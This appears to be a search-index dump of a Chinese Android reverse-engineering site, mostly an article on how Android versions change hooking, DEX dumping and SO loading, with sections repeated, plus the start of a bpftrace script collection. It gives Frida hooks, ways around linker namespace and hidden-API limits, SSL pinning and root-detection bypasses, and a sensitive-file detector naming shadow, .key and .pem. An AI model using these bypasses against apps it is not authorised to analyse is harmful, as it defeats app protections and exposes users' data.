function(loader) { try { var dexFiles = loader.findClass('java.lang.Object') .getClassLoader().getClass() .getSuperclass().getDeclaredField('pathList'); dexFiles.setAccessible(true); // ... 遍历 DexPathList 获取 DEX 数据 } catch(e) {} }, onComplete: function() {} }); }); 方法 Hook 注意事项 // Hook 时需要考虑方法的编译状态 // AOT 编译的方法: entry_point 指向 OAT 中的本地代码 // JIT 编译的方法: entry_point 指向 JIT 代码缓存 // 解释执行的方法: entry_point 指向解释器入口 // Frida 通过替换 ArtMethod 的 entry_point 实现 hook // 这在所有编译状态下都有效 Java.perform(function() { var targetClass = Java.use('com.target.app.Crypto'); targetClass.encrypt.implementation = function(data) { console.log('[*] encrypt called: ' + data); var result = this.encrypt(data); console.log('[*] encrypt result: ' + result); return result; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#63-对逆向工程的影响"},{"categories":null,"collections":null,"content":"6.3 对逆向工程的影响 DEX Dump 策略 // Frida DEX Dump (适用于所有 ART 版本) // 原理: 从 ClassLoader 中获取 DexFile 对象，读取其内存中的 DEX 数据 Java.perform(function() { Java.enumerateClassLoaders({ onMatch: function(loader) { try { var dexFiles = loader.findClass('java.lang.Object') .getClassLoader().getClass() .getSuperclass().getDeclaredField('pathList'); dexFiles.setAccessible(true); // ... 遍历 DexPathList 获取 DEX 数据 } catch(e) {} }, onComplete: function() {} }); }); 方法 Hook 注意事项 // Hook 时需要考虑方法的编译状态 // AOT 编译的方法: entry_point 指向 OAT 中的本地代码 // JIT 编译的方法: entry_point 指向 JIT 代码缓存 // 解释执行的方法: entry_point 指向解释器入口 // Frida 通过替换 ArtMethod 的 entry_point 实现 hook // 这在所有编译状态下都有效 Java.perform(function() { var targetClass = Java.use('com.target.app.Crypto'); targetClass.encrypt.implementation = function(data) { console.log('[*] encrypt called: ' + data); var result = this.encrypt(data); console.log('[*] encrypt result: ' + result); return result; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#dex-dump-策略"},{"categories":null,"collections":null,"content":"6.3 对逆向工程的影响 DEX Dump 策略 // Frida DEX Dump (适用于所有 ART 版本) // 原理: 从 ClassLoader 中获取 DexFile 对象，读取其内存中的 DEX 数据 Java.perform(function() { Java.enumerateClassLoaders({ onMatch: function(loader) { try { var dexFiles = loader.findClass('java.lang.Object') .getClassLoader().getClass() .getSuperclass().getDeclaredField('pathList'); dexFiles.setAccessible(true); // ... 遍历 DexPathList 获取 DEX 数据 } catch(e) {} }, onComplete: function() {} }); }); 方法 Hook 注意事项 // Hook 时需要考虑方法的编译状态 // AOT 编译的方法: entry_point 指向 OAT 中的本地代码 // JIT 编译的方法: entry_point 指向 JIT 代码缓存 // 解释执行的方法: entry_point 指向解释器入口 // Frida 通过替换 ArtMethod 的 entry_point 实现 hook // 这在所有编译状态下都有效 Java.perform(function() { var targetClass = Java.use('com.target.app.Crypto'); targetClass.encrypt.implementation = function(data) { console.log('[*] encrypt called: ' + data); var result = this.encrypt(data); console.log('[*] encrypt result: ' + result); return result; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#方法-hook-注意事项"},{"categories":null,"collections":null,"content":"6.4 ART 内部结构关键偏移 不同 Android 版本的 ART 内部结构（如 ArtMethod）偏移可能不同。编写底层 hook 工具时需要适配： // ArtMethod 结构 (简化版, 偏移因版本而异) struct ArtMethod { uint32_t declaring_class_; // GcRoot\u003cClass\u003e uint32_t access_flags_; uint32_t dex_code_item_offset_; uint32_t dex_method_index_; // ... void* entry_point_from_quick_compiled_code_; // hook 目标 void* data_; }; # 使用 Frida 获取 ArtMethod 偏移信息 # 参考 frida-java-bridge 源码中的 art.js ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#64-art-内部结构关键偏移"},{"categories":null,"collections":null,"content":"7. Linker 演进与 SO 加载 Android 的动态链接器 (linker/linker64) 在各版本中经历了重大变化，直接影响 SO 注入和 hook 技术。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#7-linker-演进与-so-加载"},{"categories":null,"collections":null,"content":"7.1 演进时间线 版本 变化 影响 Android 6.0 及更早 全局 namespace，应用可加载任何 SO 注入和 hook 无限制 Android 7.0 Linker namespace 引入 应用不能直接 dlopen 系统私有 SO Android 8.0 Treble vendor namespace vendor SO 与 system SO 严格隔离 Android 10 BionicLinker 改进 namespace 检查更严格 Android 12 Linkerconfig 动态生成 namespace 配置从静态文件变为动态生成 Android 14+ 16KB 页面支持 SO 加载需要适配新的页面对齐 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#71-演进时间线"},{"categories":null,"collections":null,"content":"7.2 Linker Namespace 详解 ┌─────────────────────────────────────────────────────┐ │ Linker Namespace 架构 │ ├─────────────────────────────────────────────────────┤ │ │ │ ┌────────────────┐ ┌────────────────┐ │ │ │ default (系统) │ │ classloader- │ │ │ │ namespace │ │ namespace │ │ │ ├────────────────┤ ├────────────────┤ │ │ │ libandroid.so │ │ app 的 JNI SO │ │ │ │ libc.so │ │ (lib/*.so) │ │ │ │ libm.so │ └───────┬────────┘ │ │ │ liblog.so │ │ │ │ │ ... │←──── 只能 dlopen ──────── │ │ └────────────────┘ 公开的 NDK 库 │ │ │ │ ┌────────────────┐ ┌────────────────┐ │ │ │ vendor │ │ vndk │ │ │ │ namespace │ │ namespace │ │ │ ├────────────────┤ ├────────────────┤ │ │ │ vendor HAL SO │ │ VNDK 共享库 │ │ │ │ /vendor/lib64/ │ │ /apex/vndk/ │ │ │ └────────────────┘ └────────────────┘ │ │ │ └─────────────────────────────────────────────────────┘ ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#72-linker-namespace-详解"},{"categories":null,"collections":null,"content":"7.3 查看 Namespace 配置 # Android 7.0-11: 静态配置文件 adb shell cat /system/etc/ld.config.txt # Android 12+: 动态生成的配置 adb shell cat /linkerconfig/ld.config.txt # 查看配置中的 namespace 定义 adb shell cat /linkerconfig/ld.config.txt | grep -E \"^\\[|^namespace\\.\" # 典型输出示例: # [system] # namespace.default.isolated = true # namespace.default.search.paths = /system/lib64:/apex/com.android.art/lib64 # namespace.default.permitted.paths = /system/lib64:/apex/... # namespace.default.asan.search.paths = ... # # [vendor] # namespace.default.isolated = true # namespace.default.search.paths = /vendor/lib64 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#73-查看-namespace-配置"},{"categories":null,"collections":null,"content":"7.4 绕过 Namespace 限制 // Frida 中绕过 namespace 限制加载系统私有 SO // 方法 1: 使用 Process.dlopen (Frida 内部实现绕过) var handle = Module.load('/system/lib64/libinput.so'); console.log('[*] Loaded: ' + handle); // 方法 2: 使用 android_dlopen_ext 指定 namespace var android_dlopen_ext = new NativeFunction( Module.findExportByName('libdl.so', 'android_dlopen_ext'), 'pointer', ['pointer', 'int', 'pointer'] ); // 方法 3: 通过 linker 内部函数直接操作 namespace // 需要找到 linker 中的 do_dlopen 函数并 hook ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#74-绕过-namespace-限制"},{"categories":null,"collections":null,"content":"7.5 Android 14+ 的 16KB 页面与 SO 加载 # 在 16KB 页面设备上，linker 对段对齐有严格要求 # SO 的 LOAD 段必须按 max(p_align, page_size) 对齐 # 如果 SO 的 p_align = 0x1000 但设备 page_size = 0x4000: # linker 会尝试 compat 模式加载（可能失败） # 或者直接拒绝加载 # 使用 NDK r27+ 重新编译 SO 以确保兼容: # CMakeLists.txt 中添加: # set(CMAKE_SHARED_LINKER_FLAGS \"${CMAKE_SHARED_LINKER_FLAGS} -Wl,-z,max-page-size=16384\") ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:7:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#75-android-14-的-16kb-页面与-so-加载"},{"categories":null,"collections":null,"content":"8. 实战建议：根据目标 Android 版本制定分析策略 💡 思路一句话: 拿到目标 App 后，第一步看 minSdkVersion 和 targetSdkVersion 确定版本范围 → 根据版本选择对应的工具链和绕过方案 → 版本越高限制越多，但核心逆向方法论不变。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#8-实战建议根据目标-android-版本制定分析策略"},{"categories":null,"collections":null,"content":"8.1 版本识别与环境评估 在开始分析前，首先收集目标设备的完整信息： # 1. 基础信息收集 echo \"=== Android 版本 ===\" adb shell getprop ro.build.version.release adb shell getprop ro.build.version.sdk echo \"=== 安全补丁 ===\" adb shell getprop ro.build.version.security_patch echo \"=== 设备架构 ===\" adb shell getprop ro.product.cpu.abi echo \"=== SELinux 状态 ===\" adb shell getenforce echo \"=== Root 状态 ===\" adb shell su -c \"id\" 2\u003e/dev/null || echo \"未 root\" echo \"=== 页面大小 ===\" adb shell getconf PAGE_SIZE echo \"=== Magisk 版本 ===\" adb shell su -c \"magisk -v\" 2\u003e/dev/null || echo \"无 Magisk\" echo \"=== Kernel 版本 ===\" adb shell uname -r ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#81-版本识别与环境评估"},{"categories":null,"collections":null,"content":"8.2 分析策略决策流程 ┌─────────────────┐ │ 确认 Android 版本 │ └────────┬────────┘ │ ┌──────────────┼──────────────┐ ▼ ▼ ▼ Android 5-6 Android 7-9 Android 10+ │ │ │ ▼ ▼ ▼ 传统方案即可 需要处理: 需要处理: ・直接抓包 ・证书信任 ・XOM 绕过 ・原版 Xposed ・namespace ・Scoped Storage ・简单重打包 ・Hidden API ・16KB 页面 (14+) ・v2 签名 ・MTE (15) │ │ ▼ ▼ 工具选择: 工具选择: ・Frida ・Frida (最新版) ・LSPosed ・LSPosed + Zygisk ・Magisk ・Magisk 26+ ・apktool ・apktool 2.9+ ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#82-分析策略决策流程"},{"categories":null,"collections":null,"content":"8.3 各版本范围的推荐方案 Android 5.0-6.0 (API 21-23) # 抓包: 直接安装证书即可 # 安装代理证书 adb push burp-cert.pem /sdcard/ # 设备上: 设置 → 安全 → 从存储安装证书 # Hook: Xposed 或 Frida 均可 # 安装 Xposed Framework (5.0-6.0 最后的稳定版) # 或使用 Frida frida -U -f com.target.app -l hook.js Android 7.0-9.0 (API 24-28) # 抓包: 需要处理证书信任 # 方案 A: 重打包添加网络安全配置 apktool d target.apk -o target_dir/ # 编辑 network_security_config.xml (信任用户证书) apktool b target_dir/ -o modified.apk apksigner sign --ks key.jks modified.apk # 方案 B: Magisk + MoveCert 模块 (推荐) # 安装 Magisk → 安装 MagiskTrustUserCerts 模块 → 重启 # Hook: 使用 Frida + LSPosed # Hidden API 绕过 (Android 9.0): adb shell settings put global hidden_api_policy 1 Android 10-12 (API 29-32) # 抓包: Magisk + MoveCert (必须) # + Frida SSL Pinning Bypass (如果应用使用 Certificate Pinning) # Hook: Frida (最新版) + Magisk (24+) # 注意 XOM: Frida 默认通过 ptrace 绕过，通常无需额外处理 # 注意 Scoped Storage: dump 文件使用应用私有目录 # 调试: 使用 Frida 而非 JDWP # Android 12 的调试限制使 JDWP 更难用 frida -U -f com.target.app -l hook.js --no-pause Android 13-15 (API 33-35) # 抓包: Magisk + MoveCert + Frida SSL Bypass (完整方案) # Hook: Frida 16.x + Magisk 26.x + LSPosed (Zygisk) # 确认设备页面大小 adb shell getconf PAGE_SIZE # 如果是 16KB 页面设备，注意: # - 自定义 SO 注入可能因对齐问题失败 # - 使用 NDK r27+ 编译注入用的 SO # MTE 检查 (Android 15): adb shell cat /proc/cpuinfo | grep -i mte # 如果设备支持 MTE，分析内存时需要 mask 指针 tag ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#83-各版本范围的推荐方案"},{"categories":null,"collections":null,"content":"8.3 各版本范围的推荐方案 Android 5.0-6.0 (API 21-23) # 抓包: 直接安装证书即可 # 安装代理证书 adb push burp-cert.pem /sdcard/ # 设备上: 设置 → 安全 → 从存储安装证书 # Hook: Xposed 或 Frida 均可 # 安装 Xposed Framework (5.0-6.0 最后的稳定版) # 或使用 Frida frida -U -f com.target.app -l hook.js Android 7.0-9.0 (API 24-28) # 抓包: 需要处理证书信任 # 方案 A: 重打包添加网络安全配置 apktool d target.apk -o target_dir/ # 编辑 network_security_config.xml (信任用户证书) apktool b target_dir/ -o modified.apk apksigner sign --ks key.jks modified.apk # 方案 B: Magisk + MoveCert 模块 (推荐) # 安装 Magisk → 安装 MagiskTrustUserCerts 模块 → 重启 # Hook: 使用 Frida + LSPosed # Hidden API 绕过 (Android 9.0): adb shell settings put global hidden_api_policy 1 Android 10-12 (API 29-32) # 抓包: Magisk + MoveCert (必须) # + Frida SSL Pinning Bypass (如果应用使用 Certificate Pinning) # Hook: Frida (最新版) + Magisk (24+) # 注意 XOM: Frida 默认通过 ptrace 绕过，通常无需额外处理 # 注意 Scoped Storage: dump 文件使用应用私有目录 # 调试: 使用 Frida 而非 JDWP # Android 12 的调试限制使 JDWP 更难用 frida -U -f com.target.app -l hook.js --no-pause Android 13-15 (API 33-35) # 抓包: Magisk + MoveCert + Frida SSL Bypass (完整方案) # Hook: Frida 16.x + Magisk 26.x + LSPosed (Zygisk) # 确认设备页面大小 adb shell getconf PAGE_SIZE # 如果是 16KB 页面设备，注意: # - 自定义 SO 注入可能因对齐问题失败 # - 使用 NDK r27+ 编译注入用的 SO # MTE 检查 (Android 15): adb shell cat /proc/cpuinfo | grep -i mte # 如果设备支持 MTE，分析内存时需要 mask 指针 tag ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#android-50-60-api-21-23"},{"categories":null,"collections":null,"content":"8.3 各版本范围的推荐方案 Android 5.0-6.0 (API 21-23) # 抓包: 直接安装证书即可 # 安装代理证书 adb push burp-cert.pem /sdcard/ # 设备上: 设置 → 安全 → 从存储安装证书 # Hook: Xposed 或 Frida 均可 # 安装 Xposed Framework (5.0-6.0 最后的稳定版) # 或使用 Frida frida -U -f com.target.app -l hook.js Android 7.0-9.0 (API 24-28) # 抓包: 需要处理证书信任 # 方案 A: 重打包添加网络安全配置 apktool d target.apk -o target_dir/ # 编辑 network_security_config.xml (信任用户证书) apktool b target_dir/ -o modified.apk apksigner sign --ks key.jks modified.apk # 方案 B: Magisk + MoveCert 模块 (推荐) # 安装 Magisk → 安装 MagiskTrustUserCerts 模块 → 重启 # Hook: 使用 Frida + LSPosed # Hidden API 绕过 (Android 9.0): adb shell settings put global hidden_api_policy 1 Android 10-12 (API 29-32) # 抓包: Magisk + MoveCert (必须) # + Frida SSL Pinning Bypass (如果应用使用 Certificate Pinning) # Hook: Frida (最新版) + Magisk (24+) # 注意 XOM: Frida 默认通过 ptrace 绕过，通常无需额外处理 # 注意 Scoped Storage: dump 文件使用应用私有目录 # 调试: 使用 Frida 而非 JDWP # Android 12 的调试限制使 JDWP 更难用 frida -U -f com.target.app -l hook.js --no-pause Android 13-15 (API 33-35) # 抓包: Magisk + MoveCert + Frida SSL Bypass (完整方案) # Hook: Frida 16.x + Magisk 26.x + LSPosed (Zygisk) # 确认设备页面大小 adb shell getconf PAGE_SIZE # 如果是 16KB 页面设备，注意: # - 自定义 SO 注入可能因对齐问题失败 # - 使用 NDK r27+ 编译注入用的 SO # MTE 检查 (Android 15): adb shell cat /proc/cpuinfo | grep -i mte # 如果设备支持 MTE，分析内存时需要 mask 指针 tag ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#android-70-90-api-24-28"},{"categories":null,"collections":null,"content":"8.3 各版本范围的推荐方案 Android 5.0-6.0 (API 21-23) # 抓包: 直接安装证书即可 # 安装代理证书 adb push burp-cert.pem /sdcard/ # 设备上: 设置 → 安全 → 从存储安装证书 # Hook: Xposed 或 Frida 均可 # 安装 Xposed Framework (5.0-6.0 最后的稳定版) # 或使用 Frida frida -U -f com.target.app -l hook.js Android 7.0-9.0 (API 24-28) # 抓包: 需要处理证书信任 # 方案 A: 重打包添加网络安全配置 apktool d target.apk -o target_dir/ # 编辑 network_security_config.xml (信任用户证书) apktool b target_dir/ -o modified.apk apksigner sign --ks key.jks modified.apk # 方案 B: Magisk + MoveCert 模块 (推荐) # 安装 Magisk → 安装 MagiskTrustUserCerts 模块 → 重启 # Hook: 使用 Frida + LSPosed # Hidden API 绕过 (Android 9.0): adb shell settings put global hidden_api_policy 1 Android 10-12 (API 29-32) # 抓包: Magisk + MoveCert (必须) # + Frida SSL Pinning Bypass (如果应用使用 Certificate Pinning) # Hook: Frida (最新版) + Magisk (24+) # 注意 XOM: Frida 默认通过 ptrace 绕过，通常无需额外处理 # 注意 Scoped Storage: dump 文件使用应用私有目录 # 调试: 使用 Frida 而非 JDWP # Android 12 的调试限制使 JDWP 更难用 frida -U -f com.target.app -l hook.js --no-pause Android 13-15 (API 33-35) # 抓包: Magisk + MoveCert + Frida SSL Bypass (完整方案) # Hook: Frida 16.x + Magisk 26.x + LSPosed (Zygisk) # 确认设备页面大小 adb shell getconf PAGE_SIZE # 如果是 16KB 页面设备，注意: # - 自定义 SO 注入可能因对齐问题失败 # - 使用 NDK r27+ 编译注入用的 SO # MTE 检查 (Android 15): adb shell cat /proc/cpuinfo | grep -i mte # 如果设备支持 MTE，分析内存时需要 mask 指针 tag ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#android-10-12-api-29-32"},{"categories":null,"collections":null,"content":"8.3 各版本范围的推荐方案 Android 5.0-6.0 (API 21-23) # 抓包: 直接安装证书即可 # 安装代理证书 adb push burp-cert.pem /sdcard/ # 设备上: 设置 → 安全 → 从存储安装证书 # Hook: Xposed 或 Frida 均可 # 安装 Xposed Framework (5.0-6.0 最后的稳定版) # 或使用 Frida frida -U -f com.target.app -l hook.js Android 7.0-9.0 (API 24-28) # 抓包: 需要处理证书信任 # 方案 A: 重打包添加网络安全配置 apktool d target.apk -o target_dir/ # 编辑 network_security_config.xml (信任用户证书) apktool b target_dir/ -o modified.apk apksigner sign --ks key.jks modified.apk # 方案 B: Magisk + MoveCert 模块 (推荐) # 安装 Magisk → 安装 MagiskTrustUserCerts 模块 → 重启 # Hook: 使用 Frida + LSPosed # Hidden API 绕过 (Android 9.0): adb shell settings put global hidden_api_policy 1 Android 10-12 (API 29-32) # 抓包: Magisk + MoveCert (必须) # + Frida SSL Pinning Bypass (如果应用使用 Certificate Pinning) # Hook: Frida (最新版) + Magisk (24+) # 注意 XOM: Frida 默认通过 ptrace 绕过，通常无需额外处理 # 注意 Scoped Storage: dump 文件使用应用私有目录 # 调试: 使用 Frida 而非 JDWP # Android 12 的调试限制使 JDWP 更难用 frida -U -f com.target.app -l hook.js --no-pause Android 13-15 (API 33-35) # 抓包: Magisk + MoveCert + Frida SSL Bypass (完整方案) # Hook: Frida 16.x + Magisk 26.x + LSPosed (Zygisk) # 确认设备页面大小 adb shell getconf PAGE_SIZE # 如果是 16KB 页面设备，注意: # - 自定义 SO 注入可能因对齐问题失败 # - 使用 NDK r27+ 编译注入用的 SO # MTE 检查 (Android 15): adb shell cat /proc/cpuinfo | grep -i mte # 如果设备支持 MTE，分析内存时需要 mask 指针 tag ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#android-13-15-api-33-35"},{"categories":null,"collections":null,"content":"8.4 常见问题排查 问题现象 可能原因 解决方案 Frida 注入后 app 闪退 Frida 检测/SELinux 使用 Frida 检测绕过脚本/关闭 SELinux 抓不到 HTTPS 流量 证书不信任 (7.0+) MoveCert 模块 + SSL Pinning Bypass 反射调用抛异常 Hidden API 限制 (9.0+) 双重反射绕过或 adb 设置 SO 无法 dlopen Namespace 限制 (7.0+) 使用 Frida 的 Module.load 或修改 namespace 内存 dump 全零 XOM 保护 (10+) 使用 Frida (ptrace) 读取 SO 加载崩溃 16KB 页面对齐 (14+) 重新编译 SO 适配新对齐 指针地址异常 MTE tagged pointer (15) mask 掉高字节的 tag bits app 检测到 root SafetyNet/Play Integrity MagiskHide/Shamiko 模块 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:8:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#84-常见问题排查"},{"categories":null,"collections":null,"content":"9. 相关链接 本站相关文档： Android 运行时 (ART) 深度解析 - ART 运行时内部机制详解 SELinux 安全机制 - SELinux 策略分析与绕过 Android .so 文件详解 (ELF Format) - ELF 格式与 SO 分析基础 DEX 文件格式 - DEX 字节码格式详解 APK 结构详解 - APK 文件组成与解析 Smali 语法参考 - Smali 汇编语法 Binder IPC 机制 - Android 进程间通信机制 ARM 汇编基础 - ARM/ARM64 汇编指令参考 Magisk 与 LSPosed 原理 - Root 框架内部实现 SO 反调试与混淆 - Native 层保护机制分析 外部资源： Android 安全公告 - 官方安全更新信息 Android 版本发行说明 - 各版本新特性官方文档 Frida 官方文档 - Frida 使用和 API 参考 Magisk 官方仓库 - Magisk 源码与发布 LSPosed 官方仓库 - LSPosed 框架 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:9:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#9-相关链接"},{"categories":null,"collections":null,"content":"eBPF 脚本集 本文提供可直接使用的 eBPF/bpftrace 脚本，覆盖 Android 逆向工程的常见场景。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:0:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#ebpf-脚本集"},{"categories":null,"collections":null,"content":"系统调用追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:1:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#系统调用追踪"},{"categories":null,"collections":null,"content":"追踪所有系统调用 #!/usr/bin/env bpftrace // 文件: syscall_all.bt // 用途: 统计目标应用的系统调用 tracepoint:raw_syscalls:sys_enter /comm == \"com.target.app\"/ { @syscalls[args-\u003eid] = count(); } END { printf(\"\\n=== 系统调用统计 ===\\n\"); print(@syscalls); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:1:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪所有系统调用"},{"categories":null,"collections":null,"content":"追踪文件操作 #!/usr/bin/env bpftrace // 文件: file_ops.bt // 用途: 追踪文件打开、读写、关闭 tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { @open_files[str(args-\u003efilename)] = count(); printf(\"[OPEN] %s flags=%d\\n\", str(args-\u003efilename), args-\u003eflags); } tracepoint:syscalls:sys_enter_read /comm == \"com.target.app\"/ { @read_count = count(); @read_bytes = sum(args-\u003ecount); } tracepoint:syscalls:sys_enter_write /comm == \"com.target.app\"/ { @write_count = count(); @write_bytes = sum(args-\u003ecount); } tracepoint:syscalls:sys_enter_close /comm == \"com.target.app\"/ { @close_count = count(); } END { printf(\"\\n=== 文件操作统计 ===\\n\"); printf(\"打开的文件:\\n\"); print(@open_files); printf(\"\\n读取: %d 次, %d 字节\\n\", @read_count, @read_bytes); printf(\"写入: %d 次, %d 字节\\n\", @write_count, @write_bytes); printf(\"关闭: %d 次\\n\", @close_count); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:1:2","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪文件操作"},{"categories":null,"collections":null,"content":"追踪敏感文件访问 #!/usr/bin/env bpftrace // 文件: sensitive_files.bt // 用途: 监控敏感文件的访问 tracepoint:syscalls:sys_enter_openat { $filename = str(args-\u003efilename); // 检查敏感路径 if (strcontains($filename, \"/proc/\") || strcontains($filename, \"/sys/\") || strcontains($filename, \"/data/data/\") || strcontains($filename, \"passwd\") || strcontains($filename, \"shadow\") || strcontains($filename, \".key\") || strcontains($filename, \".pem\")) { printf(\"[SENSITIVE] %s (PID:%d) opened: %s\\n\", comm, pid, $filename); } } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:1:3","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪敏感文件访问"},{"categories":null,"collections":null,"content":"网络追踪 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:2:0","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#网络追踪"},{"categories":null,"collections":null,"content":"追踪网络连接 #!/usr/bin/env bpftrace // 文件: network_connect.bt // 用途: 追踪 TCP/UDP 连接 #include \u003clinux/socket.h\u003e #include \u003clinux/in.h\u003e tracepoint:syscalls:sys_enter_connect /comm == \"com.target.app\"/ { $sa = (struct sockaddr *)args-\u003euservaddr; if ($sa-\u003esa_family == AF_INET) { $sin = (struct sockaddr_in *)$sa; $port = ($sin-\u003esin_port \u003e\u003e 8) | (($sin-\u003esin_port \u0026 0xff) \u003c\u003c 8); $addr = $sin-\u003esin_addr.s_addr; printf(\"[CONNECT] %d.%d.%d.%d:%d\\n\", $addr \u0026 0xff, ($addr \u003e\u003e 8) \u0026 0xff, ($addr \u003e\u003e 16) \u0026 0xff, ($addr \u003e\u003e 24) \u0026 0xff, $port); } } tracepoint:syscalls:sys_exit_connect /comm == \"com.target.app\"/ { printf(\" -\u003e result: %d\\n\", args-\u003eret); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/:2:1","tags":["eBPF","bpftrace","脚本","追踪","监控"],"title":"eBPF 脚本集","uri":"/reverse_engineering/android/01-recipes/scripts/ebpf_scripts/#追踪网络连接"},{"categories":null,"collections":null,"content":"追踪 DNS 查询 #!/usr/bin/env bpftrace // 文件: 